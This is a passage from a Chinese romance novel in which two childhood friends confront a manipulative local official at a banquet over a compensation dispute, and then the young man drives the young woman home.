李伯清一见两人进门,也不管俞津杨听没听见刚才的话,就立马端着长辈的架子直接拿他开涮了,说得还是那些不入流的玩笑,“津杨啊,你小子,这我就得说说你了,平时让你来你不肯来,李映桥一来,你就巴巴跟来了,知道你俩青梅竹马,也不用看这么紧吧?” 桌上人心照不宣地发出一阵阵哄笑,眼神在两人之间暧昧不明地来回逡巡,像是嗅到了腥味的一群野猫,眼神还冒着绿光。 李连丰有些不安地看了眼俞津杨。 “李书记要这么不欢迎我我走就是,平日里喜欢拿我开涮就算了,没必要拿李映桥说事,我们也有六年没联系了,”俞津杨在李映桥旁边坐下,不动声色瞥她一眼说,“我和她微信都是昨天刚加上。” 这话让李伯清面色干下来,这小子警惕性高,再说下去倒显得他这个长辈老不正经还咄咄逼人。 照往常,一般小年轻哪敢这么反驳他,真对人有意思的,要么就顺着他的话刚上爬,没意思的也就笑笑当作没听见。俞津杨这种把话说得冠冕堂皇还滴水不漏的,他听着就烦,也没往下接,决定晾开他,又在心里骂了句,油盐不进,跟他爹一模一样。 李伯清让李映桥多吃点,李映桥也没理他,又自顾自让人开了几瓶葡萄酒,和身旁的人聊他的宏图伟业去了。 李映桥是没给任何人眼神,连睫毛都没颤一下,只是低着头认真地剥虾吃,和刚才进门前给他扮鬼脸的样子判若两人,他不知道她听到些什么。 俞津杨这么想着,把楼下拿的可乐默默放她边上。 李映桥这才转头看他。 “喝这个,这边叫不了代驾。”他说。 “葡萄汁。”李映桥晃了晃杯子。 俞津杨点点头,开始拆湿巾袋,没再说话。 李映桥拿着高脚杯喝了口葡萄汁,眼神却浮皮潦草地挂在他身上,隔空和他干了个杯,仿佛真在喝酒似的小斟酌饮一口,还浮夸地咂咂舌,一杯兑水葡萄汁喝出琼浆玉液的效果。 俞津杨这才笑开,“无聊。” 李映桥也笑笑,随后她放下杯子,转头看了眼李伯清。她刚刚才明白为什么李伯清要大费周章请她吃这个饭。 从进门一落座,李伯清就旁敲侧击打探她和俞津杨的关系,话里话外就是想让她当这个吃力不讨好的“海天酱油”,看能不能把她舅舅和俞叔叔的事儿给调和下来,估摸就是收了李武声的好处。 李映桥从小都挺敬重他,在丰潭李伯清算是个传奇人物,只是这次回来听他车轱辘话说一半,她也意兴阑珊,没再往下接茬,只沉默剥着螃蟹。 李伯清自讨没趣,于是老狐狸又心生一计:故意在饭局上当着一众丰潭木玩圈的长辈,说些不着四六、调侃她和俞津杨的话,在座都是人精,谁听不出他话里有话——多半是想从他俩的关系上去施压,有的没的反正都先说得似是而非,来来去去也绕不开那些辛辣隐秘的男女关系,想让她和俞津杨下不来台?保不齐俞叔叔或许会顾及她和俞津杨的面子,选择妥协。 不知道老狐狸肚子里具体打什么算盘,总之这小老头现在真是坏得很。 难怪俞津杨一开始听见这个事儿,犹豫了几秒。 哎——俞津杨你这个人真是挺让人难受。李映桥胸口有点发闷地想。 她此刻胸口像被人塞了一团湿漉漉的棉花,沉是不沉,只是觉得有点绵绵涨涨的堵。这老狐狸三言两语就差点把她架在火上烤,差点被他弄得里外不是人,于是她仰头一口气喝光所有葡萄酒,然后在俞津杨耳边悄声道:“嘿嘿,喵,其实是酒,我骗你的。” 俞津杨正在剥虾,听见这话,下意识伸手要去拿她的酒杯闻,被她眼疾手快、不容置喙地伸手牢牢盖住。 俞津杨视线落在她紧紧绷着的指关节上,李映桥的拇指正在无意识地摩挲着高脚杯的杯壁,可她的眼神却落在别处—— 越过满桌被啃噬得差不多的残羹冷炙,她只死死盯着对面那个喝酒喝得红光满面、抽着雪茄此刻正在高滩阔谈他曾经的丰功伟绩,沉浸在众人的阿谀奉承中、自诩为丰潭的“土皇帝”:李伯清。 俞津杨没想到这么多年没见,自己对她的预判竟然还是这么准。 31 第三十章 李映桥的屁股刚抬起,俞津杨眼疾手快地立马扣住她的手腕,动作快得连他都惊讶于自己对她的预判,或者说更是一种条件反射,他另只手撂下筷子,低声问她:“干什么你?” 李映桥视线仍盯着李伯清,知道自己现在力气不及他,手象征性地挣了下,没挣脱,只好说:“喵,你先松开,我保证不冲动。” 俞津杨当然没听她的,反而直接箍紧了。紧得他能感觉到李映桥的脉搏在他手心里突突地跳动着,跳得又急又重,甚至越来越烫,他也只能压下心里的那团将熄不熄、欲燃又难起的未名火,看她淡淡说:“李映桥,这事儿跟你没关系。” 李映桥终于转头看他,一副恨铁不成钢的表情,咬牙切齿道:“可他没安好心,他在打你的主意。我才不要这么憋屈坐在这,听他在这噗噗噗放连环屁,臭气熏天,咱俩坐在这给人当空气净化器呢!” “那你为什么要回来?”俞津杨手没松,靠在那问。 “想你们了啊。”李映桥这么讲,说着夹了一筷子菜塞嘴里,眼睛还弯了弯。 俞津杨当然不会信,她从小就这样,哄人的话信手拈来,哪怕这么多年没见,她这张嘴仍是有过之无不及,让人难以招架。他扯了扯嘴角,瞥开视线,正巧看见李伯清夹着根雪茄阴魂不散地盯着他俩,笑得像颗萝卜精继续打趣他们: “俩小年轻说什么悄悄话呢,津杨,你爸妈知道你俩关系还这么好吗?” 席间顿时响起一片心照不宣、暧昧不明的轻笑声。 随即有人拍着桌子插话进来,那人一筷子精准地插进面前转盘桌上的鱼腹里,戳了半天夹枪带棒说:“所以我说李书记你就是闲吃萝卜淡操心,李武声和俞老板早晚要成为亲家。还要你出面调解什么赔偿金,不过左口袋进右口袋,彩礼钱而已。” 这人叫钱东昌,是他们当年在小画城上学时的年级组长,李映桥进门时只觉得他眼熟,直到方才那口熟悉的画城老师乡音,她蓦然想起这人是谁。她下意识转头看俞津杨,四目相对的刹那,她知道他也想起来了。 钱东昌从小画城离职后,竟然还抱上李伯清的大腿了。 李映桥心里那团火越烧越旺,她用力挣开俞津杨箍着她的手,下一秒,去端自己面前的红酒杯,视线在李伯清和钱东昌之间停留片刻后面不改色地说:“李书记,长辈的事儿我们作为晚辈也不方便插手,作为旁人最好也不要插手,不然您这不分青红皂白乱攒局,只会越帮越忙。钱老板说的对,您确实咸吃萝卜淡操心,我和俞津杨要是出了这道门,连朋友都当不成,全赖你和钱老板今天在这乱讲话——” “咳,映桥——”李连丰试图打圆场,拿起酒杯制止她。 俞津杨没动作,知道拦不住她,静静靠在那,目光平和地为她粉饰着太平,只偶尔瞥李映桥一眼。她没搭理李连丰,把高脚杯重重地钝在大理石的转台上,发出清脆又响亮的“啪”一声,没碎,但好似一记耳光抽在两人脸上。 李映桥故作受伤地看着李伯清说:“其实如果这顿饭,您是抱有其他目的,就不该请我来的。不说我和俞津杨关系怎么样,但至少从小您在我心目中的形象就特别伟岸,我对您的记忆仍旧停留在八二年,您单枪匹马闯广销会,拿下第一批订单后,回来就大刀阔斧地集资办厂,带着大家发家致富。” “丰潭谁不知道您的大名,我从小就立志,长大后要成为您这样的人,不光自己发财,还要带着身边所有人发财。我一向敬重您,哪怕这几年在外头读书,我也时常和身边的朋友安利您,说我们丰潭有个名副其实的大圣人,但是现在,李书记,我觉得自己真像个笑话——” 她说得声情并茂,确实让人动容,俞津杨眼神一瞥一瞥地瞧她,嘴角生生压着一道温柔的弧线,同绷直的下颚线形成鲜明对比。 好家伙,原来她才是放屁最a的那个。 “还有这位钱老板,”李映桥话锋一转,翻了个巨大的白眼,险些又把俞津杨逗笑,“你嘴巴最好放干净点,有你一毛钱的事儿?倒胃口。” “……走了走了,再待下去,我和俞津杨怕是能在各位嘴里生孩子了,各位老板嘴那么闲,还不如轮着把桌上的菜热热,别让老爷子吃剩菜啊。有那么多立功表现的机会,非得欺负我们小辈算怎么回事,我玩不起,先撤了。” 李映桥兴致缺缺地从位置上站起来,看着满桌寂静,一桌残羹冷炙更是让这包厢氛围雪上加霜,李伯清这会儿脸色说不上好看不好看,因为他人完全是懵的,自从八二年拿浓墨重彩的一笔之后,他就再也听不见别的话,全是阿谀奉承给他捧上天的。 李连丰也懵,压根不敢看老爷子的脸色,只觉顷刻间后颈汗毛倒竖,太阳穴开始突突直跳,血液也直往脑门冲,李映桥说一句,他鸡皮疙瘩就立马起一片,想去捂嘴,又怕俞津杨掐他。 苍天啊,谁敢在他家老爷子面前说这些大实话。尽管知道目前丰潭木玩的形势严峻,如今国内外还在打贸易战,想要东山再起简直天方夜谭,也就瞧着老爷子都这把岁数了,黄土都埋到脖子根,不然谁还陪他玩这“老骥伏枥”的戏码? …… “不过,小画城我会继续做的,当然,李书记如果您觉得我今天说这些话不合适,您想改变主意,我随时等您电话。”开门出去前,李映桥无所谓地丢下一句。 “……” 包厢内噤若寒蝉,雪茄都灭了,夹在李伯清手里一时忘了抽。 下一秒,俞津杨也跟着不紧不慢地站起来,身形挺阔站在那,目光扫了一圈,还是落在李伯清身上。奇怪的是,他和李映桥显然是两种性格的人,李映桥俏皮跳脱,他则是一贯沉稳的礼貌,一如既往的风度翩翩,却莫名能感受到他言语里和李映桥如出一辙的冷淡和讥诮—— “我爸的事儿,就不牢李书记费心了。肇事者该坐牢坐牢,该赔偿赔偿,我们不可能出具谅解书。如果今晚有些话让各位不舒服了,算我们作为小辈的不懂事,各位长辈见谅。” “毕竟我爸断了条腿这么大的事儿,你们都能宽宏大量地劝我们出谅解书,那今晚这顿饭局上的冒犯,我想你们应该非常能谅解我和映桥的。” *** 李映桥把小孟的车停在山庄里,打算明天再过来开,正蹲在楼下等俞津杨,果然没多久,听见身后不紧不慢的脚步声,一回头,果然是他。她站在刚刚俞津杨和李连丰说话的位置,冲他大力地挥手,等男人走到近前,一副慷慨解囊的口气拍了拍他的爱驹,“来,上车,我送你回家。” “正反话都让你说了,”俞津杨笑了声,从裤兜里慢吞吞掏出钥匙去解锁,又故意没按下去,弯腰低头去找她的眼睛,最后又跟她确认一遍,“你到底喝了没?” 李映桥喝酒很好认,别人喝酒上脸,她喝酒上眼,不管喝多少。眼尾会自内而外洇出一片极淡的粉色,像打了腮红那样,极好认。 他记得高三有一次,他俩为了解压偷偷喝了他爸半瓶珍藏许久的红酒,一杯还没下肚,李映桥脸上就开始不着痕迹地漫开绯色,剩下半瓶他就没让她再喝了,那瓶酒至今还留着,一口没再喝。 但这会儿他端详片刻也没瞧出端倪,因为她本来就化了妆,打了腮红。 “喝了啊。”李映桥倒是很老实,“不然我开小孟车走了。” 俞津杨回头瞥了眼她那辆小熊猫,伸手给她拉开副驾车门,“行,上车,我先送你,明天你睡醒给我电话,我陪你过来取车。这边上山不好打车。” “哇——喵,你车好帅啊!”李映桥一上车就开始浮夸的表演,手指划过他的皮质座椅,吹了声相当不入流的口哨,拍马屁说,“牧马人是吧?简直跟你人一样帅,好配啊你俩。你什么时候买的?” 俞津杨按启动键的手微微一顿,眼神警惕地瞥过去,瞬间被她勾起一些不太好的回忆,她第一次坐上俞人杰的迈巴赫也是这个反应,甚至有过之无不及,把他爹哄得脸色一红又一黑的。 “俞叔叔,你的车好帅呀,跟你人好配呀!果然说得没错啊,好马配好鞍,秃头也上岸啊。” “真的,俞叔叔,你这个真皮座椅比我家的沙发还舒服!以后你这车报废了,座椅能送给我当沙发吗?” 俞人杰也跟她满嘴跑火车,还回头问她:“方向盘不要吗?别人绝对没见过,还有迈巴赫的驰名商标。拿回家当个挂钟吧。” “要要要!”她丝毫没听出他爸在调侃她。 “后视镜不要吗?一套的。”俞人杰又问。 “不要,喵说你出门都要照的。” 俞人杰:“……” 俞津杨:“…………” 就这股机灵劲儿,有时候蛮想揍她。所以俞津杨这会儿也被她弄得哭笑不得,笑得挡都挂不上,手都软了,靠在座驾上嘴角抽抽地看着她:“李映桥,你别犯病。” “夸也不行,不夸也不行,好吧,这么难伺候,那你说想听什么。” “听你闭嘴,安静一点,不要对我的车发表任何评价。” 李映桥沉默片刻,撇开头。 “哼。”